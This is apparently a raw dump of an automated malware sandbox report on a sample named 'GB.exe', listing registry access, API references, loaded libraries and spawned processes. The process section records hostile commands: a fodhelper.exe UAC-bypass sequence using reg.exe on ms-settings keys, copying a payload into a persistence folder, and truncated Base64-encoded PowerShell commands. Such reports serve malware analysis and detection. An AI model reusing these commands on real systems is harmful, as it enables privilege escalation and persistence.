"HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "reg.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "fodhelper.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")2f:T7de,Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "GB.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "GB.exe") Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "GB.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp")30:Td07,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPNAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "QUERYADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "DISABLEADAPTERDOMAINNAME"; Value: "")31:T12fe,"powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00002648-00000C15-56340503 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00002648-00000C15-56358961 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00002648-00000C15-56625813 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00002648-00000C15-56653622 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00002648-00000C15-57097392 "powershell.exe" queries volume information of "C:\" at 00000000-00002648-00000C15-57684813 "powershell.exe" queries volume information of "C:\share" at 00000000-00002648-00000C15-57687867 "powershell.exe" queries volume information of "C:\share" at 00000000-00002648-00000C15-57770831 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00002648-00000C15-58492040 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00002648-00000C15-58636748 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00002648-00000C15-58724243 "powershell.exe" queries volume information of "C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll" at 00000000-00002648-00000C15-68971324 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00008124-00000C15-86879111 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00008124-00000C15-86999060 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00008124-00000C15-87064559 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00008124-00000C15-87863281 "powershell.exe" queries volume information of "C:\" at 00000000-00008124-00000C15-88354771 "powershell.exe" queries volume information of "C:\share" at 00000000-00008124-00000C15-88358717 "powershell.exe" queries volume information of "C:\share" at 00000000-00008124-00000C15-88437937 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00008124-00000C15-89250662 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00008124-00000C15-89401395 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00008124-00000C15-89469269 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00008124-00000C15-89744269 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00008124-00000C15-89796199 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00008124-00000C15-9038052032:T47f,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "PINRULESLASTSYNCTIME") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "PINRULESENCODEDCTL") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS\27748148BBE67A43CDBFEC6C3784862CE134E6EA"; Key: "BLOB")33:T7a9,"GB.exe" called "CreateProcessA" with parameter "cmd.exe /c res.bat && test2.exe" - (UID: 00000000-00001640) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /S /D /c" echo f "" - (UID: 00000000-00002816) "cmd.exe" called "CreateProcessW" with parameter "xcopy /s test2.exe "%TEMP%\persistent2\test2.exe"" - (UID: 00000000-00002816) "cmd.exe" called "CreateProcessW" with parameter "powershell -Command "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('ZgB1AG4AYwB0AGkAbwBuACAARwBlAH" - (UID: 00000000-00002816) "cmd.exe" called "CreateProcessW" with parameter "test2.exe" - (UID: 00000000-00002816) "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\system32\reg.exe" add HKCU\Software\Classes\.omg\Shell\Open\command /d %TEMP%\persistent" - (UID: 00000000-00002648) "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\system32\reg.exe" add HKCU\Software\Classes\ms-settings\CurVer /d .omg /f" - (UID: 00000000-00002648) "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\system32\fodhelper.exe"" - (UID: 00000000-00002648) "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\system32\reg.exe" delete HKCU\Software\Classes\.omg\ /f" - (UID: 00000000-00002648) "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\system32\reg.exe" delete HKCU\Software\Classes\ms-settings\ /f" - (UID: 00000000-00002648) "test2.exe" called "CreateProcessA" with parameter "cmd /c "test2.bat"" - (UID: 00000000-00002540) "cmd.exe" called "CreateProcessW" with parameter "net session" - (UID: 00000000-00002596) "cmd.exe" called "CreateProcessW" with parameter "powershell -Command "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JABwAHcAZAAgAD0AIAAiAEEAZABkAC" - (UID: 00000000-00002596) "net.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\net1 session" - (UID: 00000000-00007140)34:T862f,"GB.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001640) "GB.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001640) "GB.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001640) "GB.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001640) "GB.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00001640) "GB.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00001640) "GB.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00001640) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002816) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002816) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002816) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002816) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008072) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008072) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008072) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008072) "xcopy.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008008) "xcopy.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008008) "xcopy.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008008) "xcopy.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008008) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00002648) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00002648) 